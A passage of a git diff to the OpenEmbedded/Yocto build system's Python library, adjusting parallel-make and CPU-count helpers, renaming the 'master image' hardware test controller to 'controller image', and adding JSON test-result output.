parser.add_argument("-R", "--root", metavar="CHROOT_DIR", help="directory to chroot into")
parser.add_argument("-r", "--system", help="create a system account", action="store_true")
parser.add_argument("-s", "--shell", metavar="SHELL", help="login shell of the new account")
@@ -63,7 +62,6 @@ def build_groupadd_parser():
parser.add_argument("-K", "--key", metavar="KEY=VALUE", help="override /etc/login.defs defaults")
parser.add_argument("-o", "--non-unique", help="allow to create groups with duplicate (non-unique) GID", action="store_true")
parser.add_argument("-p", "--password", metavar="PASSWORD", help="use this encrypted password for the new group")
- parser.add_argument("-P", "--clear-password", metavar="CLEAR_PASSWORD", help="use this clear password for the new group")
parser.add_argument("-R", "--root", metavar="CHROOT_DIR", help="directory to chroot into")
parser.add_argument("-r", "--system", help="create a system account", action="store_true")
parser.add_argument("GROUP", help="Group name of the new group")
diff --git a/meta/lib/oe/utils.py b/meta/lib/oe/utils.py
index 652b2be145..46fc76c261 100644
--- a/meta/lib/oe/utils.py
+++ b/meta/lib/oe/utils.py
@@ -169,7 +169,7 @@ def any_distro_features(d, features, truevalue="1", falsevalue=""):
"""
return bb.utils.contains_any("DISTRO_FEATURES", features, truevalue, falsevalue, d)
-def parallel_make(d):
+def parallel_make(d, makeinst=False):
"""
Return the integer value for the number of parallel threads to use when
building, scraped out of PARALLEL_MAKE. If no parallelization option is
@@ -177,7 +177,10 @@ def parallel_make(d):
e.g. if PARALLEL_MAKE = "-j 10", this will return 10 as an integer.
"""
- pm = (d.getVar('PARALLEL_MAKE') or '').split()
+ if makeinst:
+ pm = (d.getVar('PARALLEL_MAKEINST') or '').split()
+ else:
+ pm = (d.getVar('PARALLEL_MAKE') or '').split()
# look for '-j' and throw other options (e.g. '-l') away
while pm:
opt = pm.pop(0)
@@ -190,9 +193,9 @@ def parallel_make(d):
return int(v)
- return None
+ return ''
-def parallel_make_argument(d, fmt, limit=None):
+def parallel_make_argument(d, fmt, limit=None, makeinst=False):
"""
Helper utility to construct a parallel make argument from the number of
parallel threads specified in PARALLEL_MAKE.
@@ -205,7 +208,7 @@ def parallel_make_argument(d, fmt, limit=None):
e.g. if PARALLEL_MAKE = "-j 10", parallel_make_argument(d, "-n %d") will return
"-n 10"
"""
- v = parallel_make(d)
+ v = parallel_make(d, makeinst)
if v:
if limit:
v = min(limit, v)
@@ -218,12 +221,12 @@ def packages_filter_out_system(d):
PN-dbg PN-doc PN-locale-eb-gb removed.
"""
pn = d.getVar('PN')
- blacklist = [pn + suffix for suffix in ('', '-dbg', '-dev', '-doc', '-locale', '-staticdev', '-src')]
+ pkgfilter = [pn + suffix for suffix in ('', '-dbg', '-dev', '-doc', '-locale', '-staticdev', '-src')]
localepkg = pn + "-locale-"
pkgs = []
for pkg in d.getVar('PACKAGES').split():
- if pkg not in blacklist and localepkg not in pkg:
+ if pkg not in pkgfilter and localepkg not in pkg:
pkgs.append(pkg)
return pkgs
@@ -245,9 +248,9 @@ def trim_version(version, num_parts=2):
trimmed = ".".join(parts[:num_parts])
return trimmed
-def cpu_count():
- import multiprocessing
- return multiprocessing.cpu_count()
+def cpu_count(at_least=1, at_most=64):
+ cpus = len(os.sched_getaffinity(0))
+ return max(min(cpus, at_most), at_least)
def execute_pre_post_process(d, cmds):
if cmds is None:
@@ -341,7 +344,29 @@ def squashspaces(string):
import re
return re.sub(r"\s+", " ", string).strip()
-def format_pkg_list(pkg_dict, ret_format=None):
+def rprovides_map(pkgdata_dir, pkg_dict):
+ # Map file -> pkg provider
+ rprov_map = {}
+
+ for pkg in pkg_dict:
+ path_to_pkgfile = os.path.join(pkgdata_dir, 'runtime-reverse', pkg)
+ if not os.path.isfile(path_to_pkgfile):
+ continue
+ with open(path_to_pkgfile) as f:
+ for line in f:
+ if line.startswith('RPROVIDES') or line.startswith('FILERPROVIDES'):
+ # List all components provided by pkg.
+ # Exclude version strings, i.e. those starting with (
+ provides = [x for x in line.split()[1:] if not x.startswith('(')]
+ for prov in provides:
+ if prov in rprov_map:
+ rprov_map[prov].append(pkg)
+ else:
+ rprov_map[prov] = [pkg]
+
+ return rprov_map
+
+def format_pkg_list(pkg_dict, ret_format=None, pkgdata_dir=None):
output = []
if ret_format == "arch":
@@ -354,9 +379,15 @@ def format_pkg_list(pkg_dict, ret_format=None):
for pkg in sorted(pkg_dict):
output.append("%s %s %s" % (pkg, pkg_dict[pkg]["arch"], pkg_dict[pkg]["ver"]))
elif ret_format == "deps":
+ rprov_map = rprovides_map(pkgdata_dir, pkg_dict)
for pkg in sorted(pkg_dict):
for dep in pkg_dict[pkg]["deps"]:
- output.append("%s|%s" % (pkg, dep))
+ if dep in rprov_map:
+ # There could be multiple providers within the image
+ for pkg_provider in rprov_map[dep]:
+ output.append("%s|%s * %s [RPROVIDES]" % (pkg, pkg_provider, dep))
+ else:
+ output.append("%s|%s" % (pkg, dep))
else:
for pkg in sorted(pkg_dict):
output.append(pkg)
@@ -369,6 +400,37 @@ def format_pkg_list(pkg_dict, ret_format=None):
return output_str
+
+# Helper function to get the host compiler version
+# Do not assume the compiler is gcc
+def get_host_compiler_version(d, taskcontextonly=False):
+ import re, subprocess
+
+ if taskcontextonly and d.getVar('BB_WORKERCONTEXT') != '1':
+ return
+
+ compiler = d.getVar("BUILD_CC")
+ # Get rid of ccache since it is not present when parsing.
+ if compiler.startswith('ccache '):
+ compiler = compiler[7:]
+ try:
+ env = os.environ.copy()
+ # datastore PATH does not contain session PATH as set by environment-setup-...
+ # this breaks the install-buildtools use-case
+ # env["PATH"] = d.getVar("PATH")
+ output = subprocess.check_output("%s --version" % compiler, \
+ shell=True, env=env, stderr=subprocess.STDOUT).decode("utf-8")
+ except subprocess.CalledProcessError as e:
+ bb.fatal("Error running %s --version: %s" % (compiler, e.output.decode("utf-8")))
+
+ match = re.match(r".* (\d+\.\d+)\.\d+.*", output.split('\n')[0])
+ if not match:
+ bb.fatal("Can't get compiler version from %s --version output" % compiler)
+
+ version = match.group(1)
+ return compiler, version
+
+
def host_gcc_version(d, taskcontextonly=False):
import re, subprocess
@@ -387,7 +449,7 @@ def host_gcc_version(d, taskcontextonly=False):
except subprocess.CalledProcessError as e:
bb.fatal("Error running %s --version: %s" % (compiler, e.output.decode("utf-8")))
- match = re.match(r".* (\d\.\d)\.\d.*", output.split('\n')[0])
+ match = re.match(r".* (\d+\.\d+)\.\d+.*", output.split('\n')[0])
if not match:
bb.fatal("Can't get compiler version from %s --version output" % compiler)
@@ -421,8 +483,8 @@ from threading import Thread
class ThreadedWorker(Thread):
"""Thread executing tasks from a given tasks queue"""
- def __init__(self, tasks, worker_init, worker_end):
- Thread.__init__(self)
+ def __init__(self, tasks, worker_init, worker_end, name=None):
+ Thread.__init__(self, name=name)
self.tasks = tasks
self.daemon = True
@@ -446,19 +508,19 @@ class ThreadedWorker(Thread):
try:
func(self, *args, **kargs)
except Exception as e:
- print(e)
+ # Eat all exceptions
+ bb.mainlogger.debug("Worker task raised %s" % e, exc_info=e)
finally:
self.tasks.task_done()
class ThreadedPool:
"""Pool of threads consuming tasks from a queue"""
- def __init__(self, num_workers, num_tasks, worker_init=None,
- worker_end=None):
+ def __init__(self, num_workers, num_tasks, worker_init=None, worker_end=None, name="ThreadedPool-"):
self.tasks = Queue(num_tasks)
self.workers = []
- for _ in range(num_workers):
- worker = ThreadedWorker(self.tasks, worker_init, worker_end)
+ for i in range(num_workers):
+ worker = ThreadedWorker(self.tasks, worker_init, worker_end, name=name + str(i))
self.workers.append(worker)
def start(self):
@@ -475,17 +537,6 @@ class ThreadedPool:
for worker in self.workers:
worker.join()
-def write_ld_so_conf(d):
- # Some utils like prelink may not have the correct target library paths
- # so write an ld.so.conf to help them
- ldsoconf = d.expand("${STAGING_DIR_TARGET}${sysconfdir}/ld.so.conf")
- if os.path.exists(ldsoconf):
- bb.utils.remove(ldsoconf)
- bb.utils.mkdirhier(os.path.dirname(ldsoconf))
- with open(ldsoconf, "w") as f:
- f.write(d.getVar("base_libdir") + '\n')
- f.write(d.getVar("libdir") + '\n')
-
class ImageQAFailed(Exception):
def __init__(self, description, name=None, logfile=None):
self.description = description
@@ -502,3 +553,34 @@ class ImageQAFailed(Exception):
def sh_quote(string):
import shlex
return shlex.quote(string)
+
+def directory_size(root, blocksize=4096):
+ """
+ Calculate the size of the directory, taking into account hard links,
+ rounding up every size to multiples of the blocksize.
+ """
+ def roundup(size):
+ """
+ Round the size up to the nearest multiple of the block size.
+ """
+ import math
+ return math.ceil(size / blocksize) * blocksize
+
+ def getsize(filename):
+ """
+ Get the size of the filename, not following symlinks, taking into
+ account hard links.
+ """
+ stat = os.lstat(filename)
+ if stat.st_ino not in inodes:
+ inodes.add(stat.st_ino)
+ return stat.st_size
+ else:
+ return 0
+
+ inodes = set()
+ total = 0
+ for root, dirs, files in os.walk(root):
+ total += sum(roundup(getsize(os.path.join(root, name))) for name in files)
+ total += roundup(getsize(root))
+ return total
diff --git a/meta/lib/oeqa/buildperf/base.py b/meta/lib/oeqa/buildperf/base.py
index 3b2fed549f..5f1805d86c 100644
--- a/meta/lib/oeqa/buildperf/base.py
+++ b/meta/lib/oeqa/buildperf/base.py
@@ -462,7 +462,7 @@ class BuildPerfTestCase(unittest.TestCase):
def rm_tmp(self):
"""Cleanup temporary/intermediate files and directories"""
log.debug("Removing temporary and cache files")
- for name in ['bitbake.lock', 'conf/sanity_info',
+ for name in ['bitbake.lock', 'cache/sanity_info',
self.bb_vars['TMPDIR']]:
oe.path.remove(name, recurse=True)
diff --git a/meta/lib/oeqa/controllers/controllerimage.py b/meta/lib/oeqa/controllers/controllerimage.py
new file mode 100644
index 0000000000..78a4aaff87
--- /dev/null
+++ b/meta/lib/oeqa/controllers/controllerimage.py
@@ -0,0 +1,199 @@
+# Copyright (C) 2014 Intel Corporation
+#
+# SPDX-License-Identifier: MIT
+#
+# This module adds support to testimage.bbclass to deploy images and run
+# tests using a "controller image" - this is a "known good" image that is
+# installed onto the device as part of initial setup and will be booted into
+# with no interaction; we can then use it to deploy the image to be tested
+# to a second partition before running the tests.
+#
+# For an example controller image, see core-image-testcontroller
+# (meta/recipes-extended/images/core-image-testcontroller.bb)
+
+import os
+import bb
+import traceback
+import time
+import subprocess
+
+import oeqa.targetcontrol
+import oeqa.utils.sshcontrol as sshcontrol
+import oeqa.utils.commands as commands
+from oeqa.utils import CommandError
+
+from abc import ABCMeta, abstractmethod
+
+class ControllerImageHardwareTarget(oeqa.targetcontrol.BaseTarget, metaclass=ABCMeta):
+
+ supported_image_fstypes = ['tar.gz', 'tar.bz2']
+
+ def __init__(self, d):
+ super(ControllerImageHardwareTarget, self).__init__(d)
+
+ # target ip
+ addr = d.getVar("TEST_TARGET_IP") or bb.fatal('Please set TEST_TARGET_IP with the IP address of the machine you want to run the tests on.')
+ self.ip = addr.split(":")[0]
+ try:
+ self.port = addr.split(":")[1]
+ except IndexError:
+ self.port = None
+ bb.note("Target IP: %s" % self.ip)
+ self.server_ip = d.getVar("TEST_SERVER_IP")
+ if not self.server_ip:
+ try:
+ self.server_ip = subprocess.check_output(['ip', 'route', 'get', self.ip ]).split("\n")[0].split()[-1]
+ except Exception as e:
+ bb.fatal("Failed to determine the host IP address (alternatively you can set TEST_SERVER_IP with the IP address of this machine): %s" % e)
+ bb.note("Server IP: %s" % self.server_ip)
+
+ # test rootfs + kernel
+ self.image_fstype = self.get_image_fstype(d)
+ self.rootfs = os.path.join(d.getVar("DEPLOY_DIR_IMAGE"), d.getVar("IMAGE_LINK_NAME") + '.' + self.image_fstype)
+ self.kernel = os.path.join(d.getVar("DEPLOY_DIR_IMAGE"), d.getVar("KERNEL_IMAGETYPE", False) + '-' + d.getVar('MACHINE', False) + '.bin')
+ if not os.path.isfile(self.rootfs):
+ # we could've checked that IMAGE_FSTYPES contains tar.gz but the config for running testimage might not be
+ # the same as the config with which the image was build, ie
+ # you bitbake core-image-sato with IMAGE_FSTYPES += "tar.gz"
+ # and your autobuilder overwrites the config, adds the test bits and runs bitbake core-image-sato -c testimage
+ bb.fatal("No rootfs found. Did you build the image ?\nIf yes, did you build it with IMAGE_FSTYPES += \"tar.gz\" ? \
+ \nExpected path: %s" % self.rootfs)
+ if not os.path.isfile(self.kernel):
+ bb.fatal("No kernel found. Expected path: %s" % self.kernel)
+
+ # controller ssh connection
+ self.controller = None
+ # if the user knows what they are doing, then by all means...
+ self.user_cmds = d.getVar("TEST_DEPLOY_CMDS")
+ self.deploy_cmds = None
+
+ # this is the name of the command that controls the power for a board
+ # e.g: TEST_POWERCONTROL_CMD = "/home/user/myscripts/powercontrol.py ${MACHINE} what-ever-other-args-the-script-wants"
+ # the command should take as the last argument "off" and "on" and "cycle" (off, on)
+ self.powercontrol_cmd = d.getVar("TEST_POWERCONTROL_CMD") or None
+ self.powercontrol_args = d.getVar("TEST_POWERCONTROL_EXTRA_ARGS", False) or ""
+
+ self.serialcontrol_cmd = d.getVar("TEST_SERIALCONTROL_CMD") or None
+ self.serialcontrol_args = d.getVar("TEST_SERIALCONTROL_EXTRA_ARGS", False) or ""
+
+ self.origenv = os.environ
+ if self.powercontrol_cmd or self.serialcontrol_cmd:
+ # the external script for controlling power might use ssh
+ # ssh + keys means we need the original user env
+ bborigenv = d.getVar("BB_ORIGENV", False) or {}
+ for key in bborigenv:
+ val = bborigenv.getVar(key)
+ if val is not None:
+ self.origenv[key] = str(val)
+
+ if self.powercontrol_cmd:
+ if self.powercontrol_args:
+ self.powercontrol_cmd = "%s %s" % (self.powercontrol_cmd, self.powercontrol_args)
+ if self.serialcontrol_cmd:
+ if self.serialcontrol_args:
+ self.serialcontrol_cmd = "%s %s" % (self.serialcontrol_cmd, self.serialcontrol_args)
+
+ def power_ctl(self, msg):
+ if self.powercontrol_cmd:
+ cmd = "%s %s" % (self.powercontrol_cmd, msg)
+ try:
+ commands.runCmd(cmd, assert_error=False, start_new_session=True, env=self.origenv)
+ except CommandError as e:
+ bb.fatal(str(e))
+
+ def power_cycle(self, conn):
+ if self.powercontrol_cmd:
+ # be nice, don't just cut power
+ conn.run("shutdown -h now")
+ time.sleep(10)
+ self.power_ctl("cycle")
+ else:
+ status, output = conn.run("sync; { sleep 1; reboot; } > /dev/null &")
+ if status != 0:
+ bb.error("Failed rebooting target and no power control command defined. You need to manually reset the device.\n%s" % output)
+
+ def _wait_until_booted(self):
+ ''' Waits until the target device has booted (if we have just power cycled it) '''
+ # Subclasses with better methods of determining boot can override this
+ time.sleep(120)
+
+ def deploy(self):
+ # base class just sets the ssh log file for us
+ super(ControllerImageHardwareTarget, self).deploy()
+ self.controller = sshcontrol.SSHControl(ip=self.ip, logfile=self.sshlog, timeout=600, port=self.port)
+ status, output = self.controller.run("cat /etc/controllerimage")
+ if status != 0:
+ # We're not booted into the controller image, so try rebooting
+ bb.plain("%s - booting into the controller image" % self.pn)
+ self.power_ctl("cycle")
+ self._wait_until_booted()
+
+ bb.plain("%s - deploying image on target" % self.pn)
+ status, output = self.controller.run("cat /etc/controllerimage")
+ if status != 0:
+ bb.fatal("No ssh connectivity or target isn't running a controller image.\n%s" % output)
+ if self.user_cmds:
+ self.deploy_cmds = self.user_cmds.split("\n")
+ try:
+ self._deploy()
+ except Exception as e:
+ bb.fatal("Failed deploying test image: %s" % e)
+
+ @abstractmethod
+ def _deploy(self):
+ pass
+
+ def start(self, extra_bootparams=None):
+ bb.plain("%s - boot test image on target" % self.pn)
+ self._start()
+ # set the ssh object for the target/test image
+ self.connection = sshcontrol.SSHControl(self.ip, logfile=self.sshlog, port=self.port)
+ bb.plain("%s - start running tests" % self.pn)
+
+ @abstractmethod
+ def _start(self):
+ pass
+
+ def stop(self):
+ bb.plain("%s - reboot/powercycle target" % self.pn)
+ self.power_cycle(self.controller)
+
+
+class SystemdbootTarget(ControllerImageHardwareTarget):
+
+ def __init__(self, d):
+ super(SystemdbootTarget, self).__init__(d)
+ # this the value we need to set in the LoaderEntryOneShot EFI variable
+ # so the system boots the 'test' bootloader label and not the default
+ # The first four bytes are EFI bits, and the rest is an utf-16le string
+ # (EFI vars values need to be utf-16)
+ # $ echo -en "test\0" | iconv -f ascii -t utf-16le | hexdump -C
+ # 00000000 74 00 65 00 73 00 74 00 00 00 |t.e.s.t...|
+ self.efivarvalue = r'\x07\x00\x00\x00\x74\x00\x65\x00\x73\x00\x74\x00\x00\x00'
+ self.deploy_cmds = [
+ 'mount -L boot /boot',
+ 'mkdir -p /mnt/testrootfs',
+ 'mount -L testrootfs /mnt/testrootfs',
+ 'modprobe efivarfs',
+ 'mount -t efivarfs efivarfs /sys/firmware/efi/efivars',
+ 'cp ~/test-kernel /boot',
+ 'rm -rf /mnt/testrootfs/*',
+ 'tar xvf ~/test-rootfs.%s -C /mnt/testrootfs' % self.image_fstype,
+ 'printf "%s" > /sys/firmware/efi/efivars/LoaderEntryOneShot-4a67b082-0a4c-41cf-b6c7-440b29bb8c4f' % self.efivarvalue
+ ]
+
+ def _deploy(self):
+ # make sure these aren't mounted
+ self.controller.run("umount /boot; umount /mnt/testrootfs; umount /sys/firmware/efi/efivars;")
+ # from now on, every deploy cmd should return 0
+ # else an exception will be thrown by sshcontrol
+ self.controller.ignore_status = False
+ self.controller.copy_to(self.rootfs, "~/test-rootfs." + self.image_fstype)
+ self.controller.copy_to(self.kernel, "~/test-kernel")
+ for cmd in self.deploy_cmds:
+ self.controller.run(cmd)
+
+ def _start(self, params=None):
+ self.power_cycle(self.controller)
+ # there are better ways than a timeout but this should work for now
+ time.sleep(120)
diff --git a/meta/lib/oeqa/controllers/masterimage.py b/meta/lib/oeqa/controllers/masterimage.py
deleted file mode 100644
index 0435dfa125..0000000000
--- a/meta/lib/oeqa/controllers/masterimage.py
+++ /dev/null
@@ -1,199 +0,0 @@
-# Copyright (C) 2014 Intel Corporation
-#
-# SPDX-License-Identifier: MIT
-#
-# This module adds support to testimage.bbclass to deploy images and run
-# tests using a "master image" - this is a "known good" image that is
-# installed onto the device as part of initial setup and will be booted into
-# with no interaction; we can then use it to deploy the image to be tested
-# to a second partition before running the tests.
-#
-# For an example master image, see core-image-testmaster
-# (meta/recipes-extended/images/core-image-testmaster.bb)
-
-import os
-import bb
-import traceback
-import time
-import subprocess
-
-import oeqa.targetcontrol
-import oeqa.utils.sshcontrol as sshcontrol
-import oeqa.utils.commands as commands
-from oeqa.utils import CommandError
-
-from abc import ABCMeta, abstractmethod
-
-class MasterImageHardwareTarget(oeqa.targetcontrol.BaseTarget, metaclass=ABCMeta):
-
- supported_image_fstypes = ['tar.gz', 'tar.bz2']
-
- def __init__(self, d):
- super(MasterImageHardwareTarget, self).__init__(d)
-
- # target ip
- addr = d.getVar("TEST_TARGET_IP") or bb.fatal('Please set TEST_TARGET_IP with the IP address of the machine you want to run the tests on.')
- self.ip = addr.split(":")[0]
- try:
- self.port = addr.split(":")[1]
- except IndexError:
- self.port = None
- bb.note("Target IP: %s" % self.ip)
- self.server_ip = d.getVar("TEST_SERVER_IP")
- if not self.server_ip:
- try:
- self.server_ip = subprocess.check_output(['ip', 'route', 'get', self.ip ]).split("\n")[0].split()[-1]
- except Exception as e:
- bb.fatal("Failed to determine the host IP address (alternatively you can set TEST_SERVER_IP with the IP address of this machine): %s" % e)
- bb.note("Server IP: %s" % self.server_ip)
-
- # test rootfs + kernel
- self.image_fstype = self.get_image_fstype(d)
- self.rootfs = os.path.join(d.getVar("DEPLOY_DIR_IMAGE"), d.getVar("IMAGE_LINK_NAME") + '.' + self.image_fstype)
- self.kernel = os.path.join(d.getVar("DEPLOY_DIR_IMAGE"), d.getVar("KERNEL_IMAGETYPE", False) + '-' + d.getVar('MACHINE', False) + '.bin')
- if not os.path.isfile(self.rootfs):
- # we could've checked that IMAGE_FSTYPES contains tar.gz but the config for running testimage might not be
- # the same as the config with which the image was build, ie
- # you bitbake core-image-sato with IMAGE_FSTYPES += "tar.gz"
- # and your autobuilder overwrites the config, adds the test bits and runs bitbake core-image-sato -c testimage
- bb.fatal("No rootfs found. Did you build the image ?\nIf yes, did you build it with IMAGE_FSTYPES += \"tar.gz\" ? \
- \nExpected path: %s" % self.rootfs)
- if not os.path.isfile(self.kernel):
- bb.fatal("No kernel found. Expected path: %s" % self.kernel)
-
- # master ssh connection
- self.master = None
- # if the user knows what they are doing, then by all means...
- self.user_cmds = d.getVar("TEST_DEPLOY_CMDS")
- self.deploy_cmds = None
-
- # this is the name of the command that controls the power for a board
- # e.g: TEST_POWERCONTROL_CMD = "/home/user/myscripts/powercontrol.py ${MACHINE} what-ever-other-args-the-script-wants"
- # the command should take as the last argument "off" and "on" and "cycle" (off, on)
- self.powercontrol_cmd = d.getVar("TEST_POWERCONTROL_CMD") or None
- self.powercontrol_args = d.getVar("TEST_POWERCONTROL_EXTRA_ARGS", False) or ""
-
- self.serialcontrol_cmd = d.getVar("TEST_SERIALCONTROL_CMD") or None
- self.serialcontrol_args = d.getVar("TEST_SERIALCONTROL_EXTRA_ARGS", False) or ""
-
- self.origenv = os.environ
- if self.powercontrol_cmd or self.serialcontrol_cmd:
- # the external script for controlling power might use ssh
- # ssh + keys means we need the original user env
- bborigenv = d.getVar("BB_ORIGENV", False) or {}
- for key in bborigenv:
- val = bborigenv.getVar(key)
- if val is not None:
- self.origenv[key] = str(val)
-
- if self.powercontrol_cmd:
- if self.powercontrol_args:
- self.powercontrol_cmd = "%s %s" % (self.powercontrol_cmd, self.powercontrol_args)
- if self.serialcontrol_cmd:
- if self.serialcontrol_args:
- self.serialcontrol_cmd = "%s %s" % (self.serialcontrol_cmd, self.serialcontrol_args)
-
- def power_ctl(self, msg):
- if self.powercontrol_cmd:
- cmd = "%s %s" % (self.powercontrol_cmd, msg)
- try:
- commands.runCmd(cmd, assert_error=False, preexec_fn=os.setsid, env=self.origenv)
- except CommandError as e:
- bb.fatal(str(e))
-
- def power_cycle(self, conn):
- if self.powercontrol_cmd:
- # be nice, don't just cut power
- conn.run("shutdown -h now")
- time.sleep(10)
- self.power_ctl("cycle")
- else:
- status, output = conn.run("sync; { sleep 1; reboot; } > /dev/null &")
- if status != 0:
- bb.error("Failed rebooting target and no power control command defined. You need to manually reset the device.\n%s" % output)
-
- def _wait_until_booted(self):
- ''' Waits until the target device has booted (if we have just power cycled it) '''
- # Subclasses with better methods of determining boot can override this
- time.sleep(120)
-
- def deploy(self):
- # base class just sets the ssh log file for us
- super(MasterImageHardwareTarget, self).deploy()
- self.master = sshcontrol.SSHControl(ip=self.ip, logfile=self.sshlog, timeout=600, port=self.port)
- status, output = self.master.run("cat /etc/masterimage")
- if status != 0:
- # We're not booted into the master image, so try rebooting
- bb.plain("%s - booting into the master image" % self.pn)
- self.power_ctl("cycle")
- self._wait_until_booted()
-
- bb.plain("%s - deploying image on target" % self.pn)
- status, output = self.master.run("cat /etc/masterimage")
- if status != 0:
- bb.fatal("No ssh connectivity or target isn't running a master image.\n%s" % output)
- if self.user_cmds:
- self.deploy_cmds = self.user_cmds.split("\n")
- try:
- self._deploy()
- except Exception as e:
- bb.fatal("Failed deploying test image: %s" % e)
-
- @abstractmethod
- def _deploy(self):
- pass
-
- def start(self, extra_bootparams=None):
- bb.plain("%s - boot test image on target" % self.pn)
- self._start()
- # set the ssh object for the target/test image
- self.connection = sshcontrol.SSHControl(self.ip, logfile=self.sshlog, port=self.port)
- bb.plain("%s - start running tests" % self.pn)
-
- @abstractmethod
- def _start(self):
- pass
-
- def stop(self):
- bb.plain("%s - reboot/powercycle target" % self.pn)
- self.power_cycle(self.master)
-
-
-class SystemdbootTarget(MasterImageHardwareTarget):
-
- def __init__(self, d):
- super(SystemdbootTarget, self).__init__(d)
- # this the value we need to set in the LoaderEntryOneShot EFI variable
- # so the system boots the 'test' bootloader label and not the default
- # The first four bytes are EFI bits, and the rest is an utf-16le string
- # (EFI vars values need to be utf-16)
- # $ echo -en "test\0" | iconv -f ascii -t utf-16le | hexdump -C
- # 00000000 74 00 65 00 73 00 74 00 00 00 |t.e.s.t...|
- self.efivarvalue = r'\x07\x00\x00\x00\x74\x00\x65\x00\x73\x00\x74\x00\x00\x00'
- self.deploy_cmds = [
- 'mount -L boot /boot',
- 'mkdir -p /mnt/testrootfs',
- 'mount -L testrootfs /mnt/testrootfs',
- 'modprobe efivarfs',
- 'mount -t efivarfs efivarfs /sys/firmware/efi/efivars',
- 'cp ~/test-kernel /boot',
- 'rm -rf /mnt/testrootfs/*',
- 'tar xvf ~/test-rootfs.%s -C /mnt/testrootfs' % self.image_fstype,
- 'printf "%s" > /sys/firmware/efi/efivars/LoaderEntryOneShot-4a67b082-0a4c-41cf-b6c7-440b29bb8c4f' % self.efivarvalue
- ]
-
- def _deploy(self):
- # make sure these aren't mounted
- self.master.run("umount /boot; umount /mnt/testrootfs; umount /sys/firmware/efi/efivars;")
- # from now on, every deploy cmd should return 0
- # else an exception will be thrown by sshcontrol
- self.master.ignore_status = False
- self.master.copy_to(self.rootfs, "~/test-rootfs." + self.image_fstype)
- self.master.copy_to(self.kernel, "~/test-kernel")
- for cmd in self.deploy_cmds:
- self.master.run(cmd)
-
- def _start(self, params=None):
- self.power_cycle(self.master)
- # there are better ways than a timeout but this should work for now
- time.sleep(120)
diff --git a/meta/lib/oeqa/core/case.py b/meta/lib/oeqa/core/case.py
index aae451fef2..bc4446a938 100644
--- a/meta/lib/oeqa/core/case.py
+++ b/meta/lib/oeqa/core/case.py
@@ -43,8 +43,13 @@ class OETestCase(unittest.TestCase):
clss.tearDownClassMethod()
def _oeSetUp(self):
- for d in self.decorators:
- d.setUpDecorator()
+ try:
+ for d in self.decorators:
+ d.setUpDecorator()
+ except:
+ for d in self.decorators:
+ d.tearDownDecorator()
+ raise
self.setUpMethod()
def _oeTearDown(self):
diff --git a/meta/lib/oeqa/core/context.py b/meta/lib/oeqa/core/context.py
index 14fc6a54f4..2abe353d27 100644
--- a/meta/lib/oeqa/core/context.py
+++ b/meta/lib/oeqa/core/context.py
@@ -31,6 +31,9 @@ class OETestContext(object):
self._registry = {}
self._registry['cases'] = collections.OrderedDict()
+ self.results = unittest.TestResult()
+ unittest.registerResult(self.results)
+
def _read_modules_from_manifest(self, manifest):
if not os.path.exists(manifest):
raise OEQAMissingManifest("Manifest does not exist on %s" % manifest)
@@ -72,6 +75,9 @@ class OETestContext(object):
modules_required, **kwargs)
self.suites = self.loader.discover()
+ def prepareSuite(self, suites, processes):
+ return suites
+
def runTests(self, processes=None, skips=[]):
self.runner = self.runnerClass(self, descriptions=False, verbosity=2)
@@ -79,14 +85,10 @@ class OETestContext(object):
self.skipTests(skips)
self._run_start_time = time.time()
- if processes:
- from oeqa.core.utils.concurrencytest import ConcurrentTestSuite
-
- concurrent_suite = ConcurrentTestSuite(self.suites, processes)
- result = self.runner.run(concurrent_suite)
- else:
+ self._run_end_time = self._run_start_time
+ if not processes:
self.runner.buffer = True
- result = self.runner.run(self.suites)
+ result = self.runner.run(self.prepareSuite(self.suites, processes))
self._run_end_time = time.time()
return result
@@ -102,22 +104,27 @@ class OETestContextExecutor(object):
name = 'core'
help = 'core test component example'
description = 'executes core test suite example'
+ datetime = time.strftime("%Y%m%d%H%M%S")
default_cases = [os.path.join(os.path.abspath(os.path.dirname(__file__)),
'cases/example')]
default_test_data = os.path.join(default_cases[0], 'data.json')
default_tests = None
+ default_json_result_dir = None
def register_commands(self, logger, subparsers):
self.parser = subparsers.add_parser(self.name, help=self.help,
description=self.description, group='components')
- self.default_output_log = '%s-results-%s.log' % (self.name,
- time.strftime("%Y%m%d%H%M%S"))
+ self.default_output_log = '%s-results-%s.log' % (self.name, self.datetime)
self.parser.add_argument('--output-log', action='store',
default=self.default_output_log,
help="results output log, default: %s" % self.default_output_log)
+ self.parser.add_argument('--json-result-dir', action='store',
+ default=self.default_json_result_dir,
+ help="json result output dir, default: %s" % self.default_json_result_dir)
+
group = self.parser.add_mutually_exclusive_group()
group.add_argument('--run-tests', action='store', nargs='+',
default=self.default_tests,
@@ -153,6 +160,8 @@ class OETestContextExecutor(object):
fh = logging.FileHandler(args.output_log)
fh.setFormatter(formatter)
logger.addHandler(fh)
+ if getattr(args, 'verbose', False):
+ logger.setLevel('DEBUG')
return logger
@@ -180,6 +189,22 @@ class OETestContextExecutor(object):
self.module_paths = args.CASES_PATHS
+ def _get_json_result_dir(self, args):
+ return args.json_result_dir
+
+ def _get_configuration(self):
+ td = self.tc_kwargs['init']['td']
+ configuration = {'TEST_TYPE': self.name,
+ 'MACHINE': td.get("MACHINE"),
+ 'DISTRO': td.get("DISTRO"),
+ 'IMAGE_BASENAME': td.get("IMAGE_BASENAME"),
+ 'DATETIME': td.get("DATETIME")}
+ return configuration
+
+ def _get_result_id(self, configuration):
+ return '%s_%s_%s_%s' % (configuration['TEST_TYPE'], configuration['IMAGE_BASENAME'],
+ configuration['MACHINE'], self.datetime)
+
def _pre_run(self):
pass
@@ -198,7 +223,16 @@ class OETestContextExecutor(object):
else:
self._pre_run()
rc = self.tc.runTests(**self.tc_kwargs['run'])
- rc.logDetails()
+
+ json_result_dir = self._get_json_result_dir(args)
+ if json_result_dir:
+ configuration = self._get_configuration()
+ rc.logDetails(json_result_dir,
+ configuration,
+ self._get_result_id(configuration))
+ else:
+ rc.logDetails()
+
rc.logSummary(self.name)
output_link = os.path.join(os.path.dirname(args.output_log),
diff --git a/meta/lib/oeqa/core/decorator/data.py b/meta/lib/oeqa/core/decorator/data.py
index 12d462f202..bc4939e87c 100644
--- a/meta/lib/oeqa/core/decorator/data.py
+++ b/meta/lib/oeqa/core/decorator/data.py
@@ -18,6 +18,26 @@ def has_feature(td, feature):
return True
return False
+def has_machine(td, machine):
+ """
+ Checks for MACHINE.
+ """
+
+ if (machine in td.get('MACHINE', '')):
+ return True
+ return False
+
+def is_qemu(td, qemu):
+ """
+ Checks if MACHINE is qemu.
+ """
+
